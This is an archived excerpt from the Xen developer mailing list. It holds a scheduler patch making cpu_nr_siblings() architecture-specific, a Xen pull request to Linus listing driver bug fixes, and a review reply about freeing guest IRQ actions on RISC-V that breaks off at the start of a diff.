 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=cnhJk1GWwfTBQlXCmlfrD1hdxu7L/SP10nBbA09ZTac=;
 b=Rtv2s3MO7xV10pJDpPuN6KUucd9DvuK2szy6i0Nhvf5B6dG1/eqi4APBIrbbRuJ6LQ0So01msRnZU9R0ov+XI6n7YQQ1kOCw+BA2qhkZV2ZkPyn22ml1HlXdhWoYWzCIBm5Dpu6WSIYNvAF7aDuPIbw7C97Sc3tKWfICK0BZi/Q=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: xen-devel@lists.xenproject.org
Cc: Hirokazu Takahashi <taka@valinux.co.jp>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Julien Grall <julien@xen.org>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Dario Faggioli <dfaggioli@suse.com>,
	Juergen Gross <jgross@suse.com>,
	George Dunlap <gwd@xenproject.org>
Subject: [PATCH v4 3/3] xen/sched: Make cpu_nr_siblings() architecture-specific
Date: Fri,  3 Jul 2026 18:15:44 +0900
Message-ID: <20260703091544.183548-4-taka@valinux.co.jp>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260703091544.183548-1-taka@valinux.co.jp>
References: <20260703091544.183548-1-taka@valinux.co.jp>
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: TY4P301CA0070.JPNP301.PROD.OUTLOOK.COM
 (2603:1096:405:36a::8) To OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 (2603:1096:604:458::18)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: OS9P286MB7222:EE_|TY3P286MB3731:EE_
X-MS-Office365-Filtering-Correlation-Id: 48dcbeaa-84cd-4c33-485b-08ded8e3ae2c
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|23010399003|366016|1800799024|7416014|376014|10070799003|56012099006|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info:
	oo16E+eLbXDUCFPcNBT4Dz+rz9LjNOoPYtNKSgAMBOMwG6HGOVTNXWMNYgm4QYXWWpKimioYbo9CBtYbNVXw4K4aRW6pdx/BNYTfuyfnD5x9I8WhxwmmRoV3h0F9uxmZI/v4A7YKCZC/cs4UGECp/cugJbwM2r5/oMH4V6AYsFum3fLjSkWsh5z3360Qyq8cXJCeVtO71zMFzSSZZd0Rs5nVUuySmWmWFNE6w1XNsSS01Bjq1/b3bxGpyIWCWlIsoBEVvdj1+SVUhom0G6ESipmXGH3xeW1N4xwl7pdnXc5fxM65/UKJxols15pyTipDAfhSuWVJXH+4OKTpvAJzUcm0kmePpe8M+53vyHOnUNdQVClCNDIlnStaJafpRDlBzyzhIloBUj4ySPrbUS3AAn7qFBSFdjAUBQUOQWBJ3oM11AdTjgRg8Q8Zy3pdH4l0CHoV6w/5mmsyK1QmM8Rb3RPnLnCKU8Twc1Xxtq+Dj6ioZIln+nLsZh1h8mTGoBlmK+q8EVEKJ2pLu2OnUBS5JClyJ/WJYhJu/zZ5X9daDW49fUe+gdDXPmkksE2wGMgho+SQG8Y75U3Jo5yxhkDfphfHfsSlD71g1SfxB4v4yWSCg/z/WafnMGiq4Zwptz1+qfDI2oFJlgjQyWs1j/p8jKCFLkr9oPFaBEZ2B4aPh3w=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(23010399003)(366016)(1800799024)(7416014)(376014)(10070799003)(56012099006)(22082099003)(18002099003);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 2
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?kmcPo6fmRptx6CRdZrK7XnS12tnW+Ob00UId9DjIEV1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4uOl2XRqpLv6u4wFqcXZGNHimO3dDrod1A1b2fqNmm91TybR?=
X-MS-Exchange-AntiSpam-MessageData-1: HF2eafndh9FfyQ==
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-Network-Message-Id: 48dcbeaa-84cd-4c33-485b-08ded8e3ae2c
X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 03 Jul 2026 09:15:52.6061
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: /KYaUN8VH2Le7wWtViC/OOGIMQYPFVDfpI6KJdndlSqIv3cnEqd3dQwKcaomwQlYAI0oKYiYxgDdbDiZYPcPiA==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: TY3P286MB3731
X-purgate-ID: tlsNG-4011c0/1783070157-3C67BDDE-406116AF/0/0
X-purgate-type: clean
X-purgate-size: 3386

Make cpu_nr_siblings() an architecture-specific function.
This patch provides the implementation for x86 and a common
version for Device Tree-based architectures.

Signed-off-by: Hirokazu Takahashi <taka@valinux.co.jp>
Acked-by: Jan Beulich <jbeulich@suse.com>
---
 xen/arch/x86/include/asm/processor.h |  1 +
 xen/common/sched/credit2.c           | 22 +++-------------------
 xen/include/xen/cpu-topology.h       |  5 +++++
 3 files changed, 9 insertions(+), 19 deletions(-)

diff --git a/xen/arch/x86/include/asm/processor.h b/xen/arch/x86/include/asm/processor.h
index 8ca6799a81..9758060129 100644
--- a/xen/arch/x86/include/asm/processor.h
+++ b/xen/arch/x86/include/asm/processor.h
@@ -106,6 +106,7 @@ extern void intel_init_arat(void);
 
 #define cpu_to_core(_cpu)   (cpu_data[_cpu].cpu_core_id)
 #define cpu_to_socket(_cpu) (cpu_data[_cpu].phys_proc_id)
+#define cpu_nr_siblings(_cpu) (cpu_data[_cpu].x86_num_siblings)
 
 unsigned int apicid_to_socket(unsigned int apicid);
 
diff --git a/xen/common/sched/credit2.c b/xen/common/sched/credit2.c
index ada430f262..6c645f0e21 100644
--- a/xen/common/sched/credit2.c
+++ b/xen/common/sched/credit2.c
@@ -29,22 +29,6 @@
 /* #define d2printk printk */
 #define d2printk(x...)
 
-/*
- * TODO: Abstract this properly, and figure out what Credit2 wants to do with
- *       the fact that x86_num_siblings doesn't even have the same meaning
- *       between x86 vendors.
- */
-static unsigned int cpu_nr_siblings(unsigned int cpu)
-{
-#ifdef CONFIG_X86
-    return cpu_data[cpu].x86_num_siblings;
-#elif defined(CONFIG_CPU_TOPOLOGY)
-    return cpu_topology ? cpu_topology[cpu].num_siblings : 1;
-#else
-    return 1;
-#endif
-}
-
 /*
  * Credit2 tracing events ("only" 512 available!). Check
  * include/public/trace.h for more details.
@@ -882,9 +866,9 @@ cpu_runqueue_match(const struct csched2_runqueue_data *rqd, unsigned int cpu)
 
 /*
  * Additional checks, to avoid separating siblings in different runqueues.
- * This deals with both Intel's HTs and AMD's CUs. An arch that does not have
- * any similar concept will just have cpu_nr_siblings() always return 1, and
- * setup the cpu_sibling_mask-s acordingly (as currently does ARM), and things
+ * This deals with Intel's HTs, AMD's CUs and ARM's SMT. An arch that
+ * does not have similar concept will just have cpu_nr_siblings() always
+ * return 1, and setup the cpu_sibling_mask-s accordingly, and things
  * will just work as well.
  */
 static bool
diff --git a/xen/include/xen/cpu-topology.h b/xen/include/xen/cpu-topology.h
index ee34425680..646cd0ff04 100644
--- a/xen/include/xen/cpu-topology.h
+++ b/xen/include/xen/cpu-topology.h
@@ -41,6 +41,7 @@ static inline void init_cpu_sibling_map(unsigned int cpu)
 
 #define cpu_to_core(cpu) (cpu_topology ? cpu_topology[cpu].phys_core_id : 0)
 #define cpu_to_socket(cpu) (cpu_topology ? cpu_topology[cpu].phys_socket_id : 0)
+#define cpu_nr_siblings(cpu) (cpu_topology ? cpu_topology[cpu].num_siblings : 1)
 
 #else /* CONFIG_GENERIC_CPU_TOPOLOGY */
 
@@ -64,6 +65,10 @@ static inline void init_cpu_sibling_map(unsigned int cpu)
 #define cpu_to_socket(cpu) (0)
 #endif
 
+#ifndef cpu_nr_siblings
+#define cpu_nr_siblings(cpu) (1)
+#endif
+
 #endif /* CONFIG_GENERIC_CPU_TOPOLOGY */
 
 #endif /* XEN_CPU_TOPOLOGY_H */
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 03 09:43:41 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 09:43:41 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353079.1609245 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfaQp-0003LT-MM; Fri, 03 Jul 2026 09:43:35 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353079.1609245; Fri, 03 Jul 2026 09:43:35 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfaQp-0003LM-JL; Fri, 03 Jul 2026 09:43:35 +0000
Received: by outflank-mailman (input) for mailman id 1353079;
 Fri, 03 Jul 2026 09:43:34 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wfaQo-0003LG-2B
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 09:43:34 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfaQm-00AoAH-UE
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 11:43:32 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a47842d-bab6-0a2a0a5309dd-0a2a450cd956-48
 for <xen-devel@lists.xenproject.org>; Fri, 03 Jul 2026 11:43:32 +0200
Received: from [195.135.223.131] (helo=smtp-out2.suse.de)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a478444-f399-0a2a450c0019-c387df83ea1c-3
 for <xen-devel@lists.xenproject.org>; Fri, 03 Jul 2026 11:43:32 +0200
Received: from imap1.dmz-prg2.suse.org (unknown [10.150.64.97])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by smtp-out2.suse.de (Postfix) with ESMTPS id 0819076252;
 Fri,  3 Jul 2026 09:43:32 +0000 (UTC)
Received: from imap1.dmz-prg2.suse.org (localhost [127.0.0.1])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by imap1.dmz-prg2.suse.org (Postfix) with ESMTPS id D6D31779AA;
 Fri,  3 Jul 2026 09:43:31 +0000 (UTC)
Received: from dovecot-director2.suse.de ([2a07:de40:b281:106:10:150:64:167])
 by imap1.dmz-prg2.suse.org with ESMTPSA id +XcVM0OER2pNAQAAD6G6ig
 (envelope-from <jgross@suse.com>); Fri, 03 Jul 2026 09:43:31 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=susede1 header.d=suse.com header.i="@suse.com" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding"; dkim=pass header.s=susede1 header.d=suse.com header.i="@suse.com" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1783071812; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:  content-transfer-encoding:content-transfer-encoding;
	bh=kfDPJrMP2pjLPfibCY+Wnky6tntoznQRsfn+ZLs5Pes=;
	b=RR60CSW3s+Lm/h7OglM5SaYhQA9LI8MDCZSc6SZD5b/d3kJpp3bbbBXB55r6ikjb2iC7lt
	qIuiJV/Mvp6LbHCnUDhE/W08yhA5lDoORHbIeYQg4Aj5NLfrYY3bSGKs2bVr5ZYHSjsK7y
	Zf8YQ8zm8hVuJvrSdxkZl4MfCcAaVIw=
Authentication-Results: smtp-out2.suse.de;
	none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1783071812; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:  content-transfer-encoding:content-transfer-encoding;
	bh=kfDPJrMP2pjLPfibCY+Wnky6tntoznQRsfn+ZLs5Pes=;
	b=RR60CSW3s+Lm/h7OglM5SaYhQA9LI8MDCZSc6SZD5b/d3kJpp3bbbBXB55r6ikjb2iC7lt
	qIuiJV/Mvp6LbHCnUDhE/W08yhA5lDoORHbIeYQg4Aj5NLfrYY3bSGKs2bVr5ZYHSjsK7y
	Zf8YQ8zm8hVuJvrSdxkZl4MfCcAaVIw=
From: Juergen Gross <jgross@suse.com>
To: torvalds@linux-foundation.org
Cc: linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	sstabellini@kernel.org
Subject: [GIT PULL] xen: branch for v7.2-rc2
Date: Fri,  3 Jul 2026 11:43:31 +0200
Message-ID: <20260703094331.1752102-1-jgross@suse.com>
X-Mailer: git-send-email 2.54.0
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-Spam-Flag: NO
X-Spamd-Result: default: False [-2.78 / 50.00];
	BAYES_HAM(-3.00)[100.00%];
	MID_CONTAINS_FROM(1.00)[];
	NEURAL_HAM_LONG(-1.00)[-1.000];
	R_MISSING_CHARSET(0.50)[];
	NEURAL_HAM_SHORT(-0.18)[-0.882];
	MIME_GOOD(-0.10)[text/plain];
	FUZZY_RATELIMITED(0.00)[rspamd.com];
	RCVD_VIA_SMTP_AUTH(0.00)[];
	MIME_TRACE(0.00)[0:+];
	ARC_NA(0.00)[];
	DKIM_SIGNED(0.00)[suse.com:s=susede1];
	DBL_BLOCKED_OPENRESOLVER(0.00)[imap1.dmz-prg2.suse.org:helo,suse.com:mid];
	FROM_EQ_ENVFROM(0.00)[];
	FROM_HAS_DN(0.00)[];
	RCPT_COUNT_THREE(0.00)[4];
	RCVD_COUNT_TWO(0.00)[2];
	TO_MATCH_ENVRCPT_ALL(0.00)[];
	TO_DN_NONE(0.00)[];
	RCVD_TLS_ALL(0.00)[]
X-Spam-Level: 
X-Spam-Score: -2.78
X-purgate-ID: tlsNG-d25034/1783071812-9273FD51-CF3BC3DE/0/0
X-purgate-type: clean
X-purgate-size: 1756

Linus,

Please git pull the following tag:

 git://git.kernel.org/pub/scm/linux/kernel/git/xen/tip.git for-linus-7.2a-rc2-tag

xen: branch for v7.2-rc2

It contains the following changes:

- A patch by Jan Beulich renaming function parameters and a comment
  related to xen_exchange_memory().

- A patch by Thomas Huth replacing __ASSEMBLY__ with __ASSEMBLER__.

- A patch by Michael Bommarito adding some sanity checking to the
  Xen pvcalls frontend driver.

- A patch by Wentao Liang fixing error handling in the Xen gntdev
  driver.

- 4 patches by Yousef Alhouseen fixing several minor bugs in Xen
  related drivers.


Thanks.

Juergen

 arch/x86/xen/mmu_pv.c               | 15 ++++---
 drivers/xen/gntalloc.c              | 19 +++++---
 drivers/xen/gntdev.c                |  8 +++-
 drivers/xen/pvcalls-front.c         | 88 ++++++++++++++++++++++++++++++++-----
 drivers/xen/xen-front-pgdir-shbuf.c | 12 +++--
 drivers/xen/xenbus/xenbus_xs.c      |  6 +++
 include/xen/interface/xen-mca.h     |  4 +-
 include/xen/interface/xen.h         |  8 ++--
 8 files changed, 124 insertions(+), 36 deletions(-)

Jan Beulich (1):
      x86/Xen: correct commentary and parameter naming of xen_exchange_memory()

Michael Bommarito (1):
      xen/pvcalls: bound backend response req_id before indexing rsp[]

Thomas Huth (1):
      xen: Replace __ASSEMBLY__ with __ASSEMBLER__ in header files

Wentao Liang (1):
      xen/gntdev: fix error handling in ioctl

Yousef Alhouseen (4):
      xen/front-pgdir-shbuf: free grant reference head on errors
      xen/gntalloc: make grant counters unsigned
      xen/gntalloc: validate grant count before allocation
      xenbus: reject unterminated directory replies


From xen-devel-bounces@lists.xenproject.org Fri Jul 03 10:35:13 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 10:35:13 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353121.1609255 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfbEY-0003ZH-6e; Fri, 03 Jul 2026 10:34:58 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353121.1609255; Fri, 03 Jul 2026 10:34:58 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfbEY-0003ZA-3a; Fri, 03 Jul 2026 10:34:58 +0000
Received: by outflank-mailman (input) for mailman id 1353121;
 Fri, 03 Jul 2026 10:34:55 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wfbEV-0003Yy-NM
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 10:34:55 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfbEV-00GptB-3t
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 12:34:55 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a47903e-5cb7-0a2a0a5109dd-0a2a450ab3c0-16
 for <xen-devel@lists.xenproject.org>; Fri, 03 Jul 2026 12:34:55 +0200
Received: from [209.85.208.177] (helo=mail-lj1-f177.google.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a47904e-e40e-0a2a450a0019-d155d0b1a9f0-3
 for <xen-devel@lists.xenproject.org>; Fri, 03 Jul 2026 12:34:55 +0200
Received: by mail-lj1-f177.google.com with SMTP id
 38308e7fff4ca-3995e22ef81so13776451fa.1
 for <xen-devel@lists.xenproject.org>; Fri, 03 Jul 2026 03:34:54 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-148-111.play-internet.pl.
 [109.243.148.111]) by smtp.gmail.com with ESMTPSA id
 2adb3069b0e04-5aed136f8c6sm377488e87.17.2026.07.03.03.34.53
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Fri, 03 Jul 2026 03:34:53 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783074894; x=1783679694; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:from:content-language
         :references:cc:to:subject:user-agent:mime-version:date:message-id
         :from:to:cc:subject:date:message-id:reply-to;
        bh=IVVSDVvGSqDjS8eedHXV2NuXXVvLPdFwplVOOg+Moow=;
        b=Cm3MqSGJUl1BOxXd5ebJK3IVB4plyVYdHWVq55kGvXFbqx+19JhWDqb/AOP4M52Hvy
         rYjTD0yR8YPncViFbJRgxg3UZmzeusEdqSEeDG4JksPh1I1KwEOwbXsVe44AjWSmlrYC
         bMe1gJTOj+zE65kF5w3pHL3VhzPdVdzzFmGij0RL0rX79WV56Yuf7VIaYnNbOEkxABE6
         iVULKdEK22Vm5P62zJMSMabCiAFCQGzaiciKI4ve6Pizw9kQ5Yq3h36vsiwwioaPggA+
         Zk57JFICkcNpLEJ0rcXH2Erpc5HKjxUcOmZxrGy424yv256nghcfNs7Vx6O1Wmvunng3
         v7pQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783074894; x=1783679694;
        h=content-transfer-encoding:in-reply-to:from:content-language
         :references:cc:to:subject:user-agent:mime-version:date:message-id
         :x-gm-gg:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=IVVSDVvGSqDjS8eedHXV2NuXXVvLPdFwplVOOg+Moow=;
        b=KX2co7Y67zxT5C03bUc22GZCgeRYOF8RUY29zx9UReJsmDXG6kjWTD5fhCOiNBgNaP
         T6zjILRn3pC870sGUddlANlak23qKuODexheUcGJDPnus3UkKuZW9DH9IH7KowmDIAX6
         3G1vL1ELLUNENwx2oa7/EjtjGpV64XEPlawweRpFm7jWrlD/wvbYA24oT60F6ePfxuWO
         5I1sFdpn1Nmp2Rhph9JsYv7f48QdeSVH0hsWb9FgzjPEoprw3yctnzultgvW83qRX6II
         Px3OqZSQWZHArqnX2is++eXei/ZJ4yoOaBQ7AKqI3GpYMyP+Hwa6pSUk3PgjZuGayZiQ
         PUjQ==
X-Forwarded-Encrypted: i=1; AHgh+Ro3RILp9IqAfY7sG2DP6vCvYGYlNriPvVFUOQ4ykPbt9/5ZShGdwKQEk+VXfqaZjk2frCuUYRCrcSA=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwOIBI5IesAspz1vZg3OpHY60R3YvIHOkmiXH25mZg1CeLvd8oM
	eu4SqAJ1Tt1ab8v6u5a6NXKxiLGOEujZAo58tjCE+azsdeXF3sG/UEflPVFotQ==
X-Gm-Gg: AfdE7cmH3yQ2W1GC5BbIX/4ZGrAhv+oxPS/O1X+Ou7iMXvuzIYkgiHA8OQWt3ej4sS4
	9HYXuWL0o4GbjBBMAU3DiqtIRPRJLFtGaNTFg0jhXfe+7paQVQAS18ujxeukNP7iy8FjZnuBgRB
	ebFunoRAf/JMo9ShvG9G0EkvXMWgu9gmPZ+FXDLI0sKnUA9eMlPad0WC6QA9tNmTGknp6E2C7Nw
	RZ4oHoQ+dC2QjxrLpgE+6JTNMRs7q/r4NsTo1JwnUCKRMoi9hWC8Irly06uNnDLykb1Z5QDry1C
	s3RFQOhljt2YljeOX/x+lxfIJ+CpeFLdQGdTrxd6tza+DV01bTBXLUcwhUwGwbF5xYc+OtlQj12
	+DzsZFoiTEoBN+w8v6TqrT9CFSWcxjpsinPkgT4sc7rViaTlDlltLEJSIcKXhes9+LBhEkzLXrG
	hj/lOpcm2uQNfg/b2WL4z59//uKCkzsO/voP17XHzLibivvfd9kiCzcVV6JJHWLftDEO4LqUVW3
	CLhsA==
X-Received: by 2002:a05:6512:8393:b0:5ae:b7c1:f7a with SMTP id 2adb3069b0e04-5aecf506c4fmr601997e87.30.1783074894038;
        Fri, 03 Jul 2026 03:34:54 -0700 (PDT)
Message-ID: <ad7056c5-e378-4bf7-aee9-8420aef38b35@gmail.com>
Date: Fri, 3 Jul 2026 12:34:52 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v4 21/25] xen/riscv: implement IRQ routing for device
 passthrough
To: Jan Beulich <jbeulich@suse.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 "Daniel P. Smith" <dpsmith@apertussolutions.com>,
 xen-devel@lists.xenproject.org
References: <cover.1782487661.git.oleksii.kurochko@gmail.com>
 <472a77604d35a0bc2a75b71f250fd67b63afde4c.1782487661.git.oleksii.kurochko@gmail.com>
 <ac1a3a08-dc39-4794-ba96-dab4b88c27a3@suse.com>
 <6aafbeb5-2f33-49f4-9d14-937b0bc4d15d@gmail.com>
 <40bcf6b7-306a-419a-bf12-1855f9e589fe@suse.com>
 <91ffc1b2-7648-4185-a2f1-12b30181c8a9@gmail.com>
 <e7d430c1-fe57-4b28-a5a2-1c8bfcd54ac4@suse.com>
 <d25c4b45-c3db-4a48-bc18-da9037a858d0@gmail.com>
 <9a8c4ef2-ae6d-48bc-bd41-6c3147acaff8@suse.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <9a8c4ef2-ae6d-48bc-bd41-6c3147acaff8@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-4011c0/1783074895-3DC0CDDE-162FCA1B/10/73395122804
X-purgate-type: spam
X-purgate-size: 6865



On 7/3/26 9:21 AM, Jan Beulich wrote:
> On 02.07.2026 18:04, Oleksii Kurochko wrote:
>> On 7/2/26 4:32 PM, Jan Beulich wrote:
>>> On 02.07.2026 11:33, Oleksii Kurochko wrote:
>>>> On 7/2/26 8:38 AM, Jan Beulich wrote:
>>>>>>>> +    spin_unlock_irqrestore(&desc->lock, flags);
>>>>>>>> +
>>>>>>>> +    release_irq(desc->irq, info);
>>>>>>>> +    xvfree(info);
>>>>>>>
>>>>>>> If, in release_irq(), action isn't freed, it's ->dev_id field will now have
>>>>>>> a dangling pointer. (I think I did point this out before.)
> 
> We'll be back to this if ...
> 
>>>>>> It should freed in release_irq() as route_irq_to_guest() always set
>>>>>> action->free_on_release = true;
>>>>>
>>>>> Well, "free_on_release" must exits for a purpose. I.e. there must be, now
>>>>> or soon, cases where it's set to false. Else simply drop the field.
>>>>
>>>> I can't simply remove this field because it is part of the common
>>>> `struct irqaction` and is used by other arc-s. (I assume that it is not
>>>> what you fully meant...)
>>>>
>>>> IIUC, this field is used to determine whether an irqaction is
>>>> heap-allocated (and therefore should be freed) or statically allocated
>>>> (and therefore should not be freed).
>>>
>>> Yes. However, all uses of the field are in arch-specific code. So in
>>> principle it could be #ifdef-ed out for RISC-V. There may be a better
>>> option, though:
>>>
>>>> At the moment, all IRQ actions are heap-allocated (on RISC-V), so
>>>> free_on_release should always be set to true. In particular, the code
>>>> snippet you asked about releases a guest interrupt, and guest interrupt
>>>> actions are always heap-allocated. As a result, when release_guest_irq()
>>>> calls release_irq(), the associated irqaction will be freed.
>>>>
>>>> So, from what I can see, the current behavior is correct and I think it
>>>> should be left as it is. Do you have any concerns about this?
>>>
>>> If you only ever have the field set to true, use ASSERT() in place of
>>> if().
>>>
>>
>> It looks like that if we want an `ASSERT()`, it should be in
>> `release_guest_irq()`. However, that would require duplicating part of
>> `release_irq()` to locate the corresponding `irqaction` and verify
>> `free_on_release`. Since guest IRQs are created through
>> `route_irq_to_guest()`, which always sets `action->free_on_release =
>> true`, we are already safe.
>>
>> I don't see much benefit in replacing the `if` statement with an
>> `ASSERT()` in `release_irq()`. The current implementation is generic and
>> would also work for Xen-owned, statically allocated interrupts (even
>> though there are none today). If we replace the `if` with an `ASSERT()`
>> now, anyone introducing a Xen-owned, statically allocated interrupt in
>> the future would simply have to revert the change and restore the `if`
>> statement, bringing us back to the current implementation.
> 
> ... such a change was made. Imo you have two choices: Deal with the issue
> properly right away, keeping the if().

So then my fix will look like as embed struct irqaction as the first 
member of struct irq_guest and allocate them as one block. Then 
xvfree(action) inside release_irq() (gated by the still-meaningful if 
(action->free_on_release)) frees the whole thing - no separate 
xvfree(info) needed anywhere, so the dangling pointer can't happen 
regardless of what free_on_release is:

$ git diff
diff --git a/xen/arch/riscv/irq.c b/xen/arch/riscv/irq.c
index 830f8d5d5997..146156f1caae 100644
--- a/xen/arch/riscv/irq.c
